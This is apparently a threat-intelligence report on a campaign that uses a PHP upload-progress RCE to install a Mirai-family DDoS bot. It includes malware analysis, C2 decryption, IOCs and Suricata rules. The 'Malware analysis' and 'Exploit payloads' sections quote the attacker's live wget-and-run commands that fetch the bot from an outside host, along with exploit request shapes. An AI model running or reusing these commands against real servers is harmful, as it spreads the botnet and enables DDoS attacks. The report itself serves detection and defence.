GODOFTHUNDER — PHP bailout-RCE to a Mirai DDoS bot

Executive summary

A single actor, hiding behind commercial VPN and proxy infrastructure, sprayed an unauthenticated PHP remote-code-execution payload across our sensors and, on a successful bailout, fed each one a one-line shell command. That command pulled a tiny loader, the loader pulled a 175 KB binary, and the binary turned the host into a DDoS bot. We captured every link in that chain and then detonated the final payload in a sandbox for three hours, where it phoned home to its command server and opened a sustained volumetric flood against third-party hosts in Ukraine.

This is a complete, single-session exploitation chain — PHP-RCE carrier → shell loader → bot binary → live C2 → observed attack — captured end to end against a freshly-disclosed CVE family. The carrier originated from a small number of source addresses, every one of them a datacenter IP fronted by VPN or open-proxy services. Confidence is HIGH: each stage is backed by a captured artifact, a live reputation lookup, or direct sandbox observation.

Reversing the bot further raised our assessment of it. Its command-and-control configuration is encrypted with ChaCha20 and hides more than the single domain we saw at runtime: two backup domains and, notably, an on-chain fallback — the bot can resolve its current C2 from an Ethereum Name Service (ENS) record read through public Ethereum RPC endpoints, a channel that domain takedowns and IP blocklists cannot reach. We recovered the full configuration independently by decrypting it from our own copy of the sample (see Malware analysis).

Threat actor profile

The operator runs a commodity DDoS-for-hire style botnet built on the Mirai code lineage, delivered opportunistically against freshly-disclosed web RCE. The distinguishing features of this campaign are the delivery vector — a very recent PHP bailout-RCE family rather than the usual IoT credential or router-CVE routes — and the godofthunder branding carried through the C2 domain and a bot banner string.

Infrastructure

The chain spans four distinct pieces of attacker infrastructure: the carrier source IPs, a payload distribution host, the bot C2, and the DDoS victims. Reputation and network-context figures below are from live VirusTotal and spur.us lookups performed 2026-10-22.

  carrier source IPs                 distribution host            bot C2                      flood victims
  (VPN / open-proxy fronted)
  85.11.167.243  ─┐
  217.60.242.76  ─┼──PHP-RCE──▶  92.118.112.100  ──▶  thunder.godofthunder.st     45.88.138.0   (UA)
  45.198.224.169 ─┘             (/s loader, /nfs bot)   = 134.199.154.64:50792  ──▶ 45.88.138.44  (UA)
                                 VT 7/92 malicious       (DigitalOcean; C2 beacon)
    

Every carrier source address is a datacenter IP fronted by anonymization services, consistent with an operator renting short-lived proxy egress rather than exposing origin infrastructure:

The C2 FQDN resolves clean on its underlying host (a DigitalOcean address) even though the domain itself is flagged — a deliberate split that keeps the beacon endpoint off IP blocklists while the domain carries the reputation. The distribution host, by contrast, is already community-flagged at 7/92.

Command-and-control is multi-tier and takedown-resistant

Decrypting the bot's configuration (below) shows the single domain our sandbox contacted is only the first of three resolution tiers. In descending order of what we observed:

1. Primary DNS — thunder.godofthunder.st, stored eight times in the config's C2 ring. This is the only tier our runtime capture exercised.
2. Backup domains — hackattackkaboom.botlesscucks.st and hik.gettingheadfromduckysmom.st (same .st TLD, same themed naming). Present in the config; not contacted during our run.
3. On-chain ENS fallback — the config carries two Ethereum Name Service names (2sexy4u.eth, sushiconsumer.eth), seven public Ethereum RPC endpoints, and the ENS resolver and registry contract addresses. If DNS fails, the bot reads its current C2 endpoint from an ENS record on the Ethereum blockchain. Because the operator can update that record on-chain and there is no domain or IP for a registrar or host to seize, this fallback survives conventional sinkholing and takedown.

The bot speaks two transports: a framed binary TCP protocol (4-byte magic, 1-byte command, 2-byte big-endian length; command bytes 0x01 exec/pty, 0x03 data, 0x04 control/close) — this is what we saw on the beacon to 134.199.154.64:50792 — and an HTTP channel (POST /client, GET /info.json, with method=getEndpoints / method=getConfiguration token-authenticated calls). Channel auth labels are bot-rx-v1 / bot-tx-v1 / bot-auth-v1.

Malware analysis

The chain delivers two artifacts. The first is a 69-byte ASCII loader fetched by the carrier; the second is the DDoS bot it installs.

Stage 1 — loader (/s)

SHA-256 4d02f14d109458cb0d696b65456918fcd724ca385aa30c688f08554c8899938c, 69 bytes, ASCII text. Full content as captured:

cd /tmp; wget http://92.118.112.100/nfs ;chmod 777 nfs; ./nfs x86_64;

A minimal single-architecture installer: fetch the bot, make it world-executable, run it with an architecture argument (x86_64). The explicit arch argument is a Mirai-family convention — the same distribution host typically serves per-architecture binaries invoked by name.

Stage 2 — DDoS bot (/nfs)

SHA-256 0c5486f06620e26e316f4b33f318b0d646d5e1133789331aa2fed012360d1486, 179,632 bytes, ELF 64-bit LSB executable, x86-64.

The low VT score (5/65) reflects a freshly-distributed sample — it was unknown to VirusTotal by hash until submitted as part of this investigation — not a benign file; behavior in sandbox is unambiguously that of a volumetric flood bot.

Encrypted configuration — recovered independently

The bot's entire C2 configuration is encrypted, which is why a plain string dump of the 1,560-entry table shows none of the domains, endpoints, or protocol labels discussed above. We recovered it ourselves from our own copy of the sample (SHA-256 0c5486f0…) by reversing the decryptor rather than trusting any third-party analysis, and every address below is cited so the result can be reproduced.

• Cipher: ChaCha20. The decrypt routine (FUN_0040d6c6) builds its state from the constant "expand 32-byte k" — but that sigil is itself stored obfuscated at 0x426f20 and XOR-ed with 0xa5 at runtime, defeating a naive constant search. It is called with a 32-byte key at 0x62ba00, a 12-byte nonce at 0x62b9e8, and block counter 1.
• Outer layer: single-byte XOR. A second routine (FUN_0040d665) XORs buffers with a one-byte key; its caller passes the immediate 0xdeaffed, whose low byte is 0xed.
• Key-reuse weakness. Every decrypt call uses the same key and nonce with counter reset to 1, so the ChaCha20 keystream is identical on each invocation. That let us derive the keystream once and recover the full plaintext config by XOR — the operator's key reuse is what makes the configuration trivially recoverable.

Decrypted, the config yields the three-tier C2 (Infrastructure), the ENS resolver contract 0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e and registry 0xF29100983E058B709F3D539b0c765937B804AC15, and the HTTP/binary transport strings. Every value cited here — the ChaCha sigil, the key and nonce, and each decrypted string — was recovered directly from the raw binary rather than read from a decompiler's reconstruction.

Sandbox detonation

We detonated the x86-64 bot in an isolated, network-contained sandbox (egress via an anonymizing tunnel, United States exit) for a full three-hour run on 2026-10-22 (13:20:26–16:20:34 UTC, 10,800 s execution budget). The sample booted, executed cleanly, and ran for the entire budget.

On startup it issued a single DNS query for thunder.godofthunder.st, resolved it to 134.199.154.64, and established a command channel to that host on TCP port 50792. It then opened a sustained volumetric flood against two adjacent hosts in a single Ukrainian /24:

The flood sprayed traffic across randomized high destination ports on each target (101 distinct ports on 45.88.138.0, 100 on 45.88.138.44), the hallmark of a direct network-flood module rather than a service-specific attack. The three-hour capture totalled 21.14 million packets / 15.72 GB, dominated by flood traffic across three protocols: TCP 8.49 M packets (7.10 GB), UDP 7.96 M packets (6.22 GB), and ICMP 4.69 M packets (2.41 GB). Outbound volume was rate-limited by the sandbox's egress fence, so these figures represent what the bot attempted, floored by that cap, not line-rate output.

Observed TTPs — MITRE ATT&CK

Timeline

Exploit payloads

Carrier command delivered on a successful PHP bailout, captured verbatim across multiple sensors:

wget http://92.118.112.100/s -O- | sh

Representative PHP session.upload_progress request shapes captured from the primary carrier IP:

/index.php      PHPSESSID=a1b2c3d4e5f6a7b8c9d0e1f2a3 filename="a" filename="b"
/wp-login.php   PHPSESSID=attacksessionid0001        filename="a" filename="b"
/lib/phpunit/phpunit/Util/PHP/eval-stdin.php PHPSESSID=a1b2c3d4e5f6a7b8c9d0e1f2a3 filename="a" filename="b"

Stage-1 loader body (/s):

cd /tmp; wget http://92.118.112.100/nfs ;chmod 777 nfs; ./nfs x86_64;

Indicators of compromise

IPv4

Domains

On-chain C2 fallback (from decrypted config)

URLs

File hashes (SHA-256)

Host artifacts

• Bot written to /tmp/nfs, chmod 777, executed with argument x86_64
• Runtime banner string i need water

Mitigations and detection

Patch PHP to a release fixing the session.upload_progress bailout family (CVE-2026-109618 / CVE-2026-109619 — CVE-2026-109618, CVE-2026-109619). Block egress to the distribution host and C2, and alert on the carrier shape. Note the limits of DNS and IP blocking against this family: the backup domains and the ENS on-chain fallback mean a complete block requires also denying unexpected egress to public Ethereum RPC providers, and the C2 endpoint can be rotated on-chain without the operator touching DNS. Defenders who permit outbound Web3 RPC from server workloads should treat it as a C2-resolution channel here.

Suricata coverage for the carrier retrieval, the DNS tiers, and the C2 beacon:

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"GODOFTHUNDER php2shell loader retrieval"; \
  flow:established,to_server; http.method; content:"GET"; \
  http.uri; content:"/s"; http.host; content:"92.118.112.100"; \
  classtype:trojan-activity; sid:4700001; rev:1;)

alert dns $HOME_NET any -> any any (msg:"GODOFTHUNDER C2 DNS lookup (primary or backup)"; \
  dns.query; pcre:"/(godofthunder\.st|botlesscucks\.st|gettingheadfromduckysmom\.st)$/i"; \
  classtype:command-and-control; sid:4700002; rev:2;)

alert tcp $HOME_NET any -> 134.199.154.64 50792 (msg:"GODOFTHUNDER C2 beacon"; \
  flow:to_server; classtype:command-and-control; sid:4700003; rev:1;)

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"GODOFTHUNDER HTTP C2 channel"; \
  flow:established,to_server; http.uri; content:"/info.json"; \
  http.request_body; content:"method=getEndpoints"; \
  classtype:command-and-control; sid:4700004; rev:1;)

Methodology

Data was collected by a distributed SSH/Telnet and web-application honeypot fleet deployed across multiple cloud providers and geographic regions, aggregating events in near-real-time. Web-application sensors emulate a vulnerable PHP application and capture the carrier command an attacker runs on a successful RCE bailout; the embedded download URLs are then automatically retrieved so the dropped artifacts are captured rather than merely logged. Captured binaries are detonated in an isolated, rate-limited, network-contained sandbox.

For each event we record source IP, request shape, captured payload, and timestamp. Every quantitative claim in this brief — event counts, file sizes and hashes, VirusTotal and spur.us results, DNS and flood behavior, and packet/byte totals — was re-derived from a primary source (sensor records, the captured files, live reputation APIs, and the sandbox packet capture) at the time of writing.